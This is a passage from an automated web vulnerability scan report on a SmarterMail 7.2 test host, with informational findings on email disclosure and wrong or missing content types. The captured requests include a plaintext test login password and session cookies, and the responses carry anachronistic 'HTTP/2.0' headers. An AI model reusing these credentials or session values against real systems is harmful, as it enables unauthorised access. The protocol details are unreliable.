<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><titl
...[SNIP]...
<span class="HeaderUserName">euser@hoytllc.com</span>
...[SNIP]...

7.4. http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Login.aspx

Issue detail

The following email addresses were disclosed in the response:

auser@hoytllc.com
user@example.com

Request

POST /Login.aspx HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx
x-microsoftajax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; settings=; SelectedLanguage=; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserEmail"}
Content-Length: 1287

ctl00%24ScriptManager1=ctl00%24UpdatePanel1%7Cctl00%24BPH%24LoginImageButton&ctl00%24MPH%24txtUserName=auser%40hoytllc.com&ctl00%24MPH%24txtPassword=auser123&ctl00%24MPH%24chkAutoLogin=on&ctl00%24BPH%
...[SNIP]...

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:28:43 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Set-Cookie: SelectedLanguage=; expires=Thu, 01-Oct-2020 22:28:43 GMT; path=/
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 5508

3590|updatePanel|ctl00_UpdatePanel1|
               <div class="CenteredLogin">
                   <div class="ShadowBox">
                       <div class="LoginBox">
                           <div class="LoginTitle">
                               <div class="RoundedPageTitle
...[SNIP]...
<div class="LoginLabel">
           Email Address
           (ex. user@example.com)
       </div>
       <input name="ctl00$MPH$txtUserName" type="text" value="auser@hoytllc.com" id="ctl00_MPH_txtUserName" tabindex="1" style="width: 310px" />
...[SNIP]...

7.5. http://vulnerable.SmarterMail 7.2.host:9998/Main/Calendar/frmEvent.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Main/Calendar/frmEvent.aspx

Issue detail

The following email address was disclosed in the response:

enduser@hoytllc.com

Request

GET /Main/Calendar/frmEvent.aspx?popup=true HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: vulnerable.SmarterMail 7.2.host:9998
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378"}

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:19:50 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 75949

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
My Calendar - hoytllc.co
...[SNIP]...
<input name="ctl00$MPH$txtEmailMe_SettingText" type="text" value="enduser@hoytllc.com" id="ctl00_MPH_txtEmailMe_SettingText" class="text" style="width:300px;" />
...[SNIP]...

7.6. http://vulnerable.SmarterMail 7.2.host:9998/Main/frmMySettings.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Main/frmMySettings.aspx

Issue detail

The following email address was disclosed in the response:

enduser@hoytllc.com

Request

Response

7.7. http://vulnerable.SmarterMail 7.2.host:9998/Reports/frmReport.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Reports/frmReport.aspx

Issue detail

The following email address was disclosed in the response:

enduser@hoytllc.com

Request

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:21:29 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 27903

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
View Report - hoytllc.co
...[SNIP]...
<td class='ReportSubTitle'>(enduser@hoytllc.com)</td>
...[SNIP]...

8. Content type incorrectly stated previous next
There are 3 instances of this issue:

/Default.aspx
/Login.aspx
/Main/Calendar/frmEvent.aspx

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

8.1. http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Default.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=utf-8

The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Default.aspx HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx#
x-microsoftajax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserRSS"}
Content-Length: 1097

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24Split%24LP%24lnkUpdate&ctl00_Split_LP_ctl01_menuNotesSourceTitle_menuNotesSource_menuSourceSelf_CB=on&ctl00_Split_LP_ctl01_menuNotes_menuCNotesV
...[SNIP]...

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:20:51 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 8851

3820|updatePanel|ctl00_Split_LP_StyledUpdatePanel1|

<div class="PageTitle" id="SectionHeader">
   <div class="RoundedPageTitleLeft">
       <div class="RoundedPageTitleRight">
           <div id="SectionH
...[SNIP]...

8.2. http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Login.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=utf-8

The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Login.aspx HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx
x-microsoftajax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; settings=; SelectedLanguage=; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserEmail"}
Content-Length: 1287

ctl00%24ScriptManager1=ctl00%24UpdatePanel1%7Cctl00%24BPH%24LoginImageButton&ctl00%24MPH%24txtUserName=auser%40hoytllc.com&ctl00%24MPH%24txtPassword=auser123&ctl00%24MPH%24chkAutoLogin=on&ctl00%24BPH%
...[SNIP]...

Response

8.3. http://vulnerable.SmarterMail 7.2.host:9998/Main/Calendar/frmEvent.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Main/Calendar/frmEvent.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=utf-8

The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Main/Calendar/frmEvent.aspx?popup=true HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Main/Calendar/frmEvent.aspx?popup=true#
x-microsoftajax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserContacts"}; ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55
Content-Length: 26574

ctl00%24ScriptManager1=ctl00%24MPH%24ctl00%7Cctl00%24MPH%24lnkRefresh&__LASTFOCUS=&__EVENTTARGET=ctl00%24MPH%24lnkRefresh&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTE5MDk3MzY0MA8WCh4IX19fVGl0bGUFC015IEN
...[SNIP]...

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:27:52 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 68875

11|updatePanel|ctl00_UpdatePanel1|

           |29475|updatePanel|ctl00_MPH_ctl00|


<div class='' id='ctl00_MPH_MP1'>
   <input type="hidden" name="ctl00$MPH$VisiblePage" id
...[SNIP]...

9. Content type is not specified previous
There are 3 instances of this issue:

/Main/Calendar/frmEvent.aspx
/Main/frmWelcome.aspx
/UserControls/Popups/frmDeviceSync.aspx

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

9.1. http://vulnerable.SmarterMail 7.2.host:9998/Main/Calendar/frmEvent.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Main/Calendar/frmEvent.aspx

Request

Response

HTTP/2.0 100 Continue
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:22:14 GMT
Content-Length: 0

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:22:14 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain;
...[SNIP]...

9.2. http://vulnerable.SmarterMail 7.2.host:9998/Main/frmWelcome.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Main/frmWelcome.aspx

Request

POST /Main/frmWelcome.aspx?unframed=true HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Main/frmWelcome.aspx?unframed=true
x-microsoftajax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default
Content-Length: 6025

ctl00%24ctl01=ctl00%24BrPH%24UpdatePanel_Buttons%7Cctl00%24BrPH%24btnNext&__EVENTTARGET=ctl00%24BrPH%24btnNext&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMjA2NDUzNTkxNg8WBh4IX19fVGl0bGUFGlNtYXJ0ZXJNYWlsIE
...[SNIP]...

Response

HTTP/2.0 100 Continue
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:19:12 GMT
Content-Length: 0

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:19:12 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain;
...[SNIP]...

9.3. http://vulnerable.SmarterMail 7.2.host:9998/UserControls/Popups/frmDeviceSync.aspx previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/UserControls/Popups/frmDeviceSync.aspx

Request

POST /UserControls/Popups/frmDeviceSync.aspx HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://vulnerable.SmarterMail 7.2.host:9998/UserControls/Popups/frmDeviceSync.aspx
x-microsoftajax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=
Content-Length: 17133

ctl00%24ScriptManager=ctl00%24ScriptManager%7Cctl00%24BPH%24chkShowAtLogin&__EVENTTARGET=ctl00%24BPH%24chkShowAtLogin&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTkxNjAzNDgyNg8WBB4QX19fUmVzdW
...[SNIP]...

Response

HTTP/2.0 100 Continue
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:19:27 GMT
Content-Length: 0

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:19:27 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: no-cache
Pragma: no-cache
Expire
...[SNIP]...

Report generated by XSS.CX Research Blog at Fri Oct 01 18:37:10 EDT 2010.